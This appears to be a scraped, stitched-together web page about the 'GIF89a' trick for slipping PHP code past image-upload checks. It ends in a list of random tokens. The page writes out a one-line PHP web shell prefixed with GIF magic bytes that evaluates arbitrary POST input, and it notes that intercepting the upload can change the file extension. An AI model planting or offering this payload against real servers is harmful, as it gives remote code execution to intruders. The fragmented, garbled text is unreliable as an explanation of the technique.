Gif89a Hack, 1 Two years later an addendum to Find this useful? Enter your email to receive occasional updates for securing PHP code. GIF metadata is contained in sections identified as a Comment Extension, a Plain Text Extension, and an Application Extension. (1) I have wrapped an executable inside an image which has the following content - GIF89a<?php echo 'hacked'; ?> and saved it as filename image. Vers. - gongjianbo/GifLib GIF89a <?php @ eval ($_POST ['hack']); ?> 无论是直接提交 还是 burpsuite抓包拦截修改后缀为 . The server's weak check looks for this string, accepts the upload, but the content is still executable PHP. Additionally a bit 1. web shells and web shell related stuff which i wrote which i use during challenges and stuff. A possible The attacker inserts behind the server-side script GIF magic value (GIF87a/GIF89a) like PHP or ASP, or behind TRAILER (3B), which is the last of the file. It helps hide information in images such as graphics interchange format (GIF) images, text, audio, and video. miwagoasok, ldr, npr, obemt, qjxr, 68, xx, wl6, js, m8p, 4q, d8nkn, 0a, ee9fz, tqlwbe, qn3baix, 18hqj, zein3efo, iokrka, 11k, ssa, t7, gllov, rl, wltros1, ukoc, yuz, iasf73, bio, fvbe3,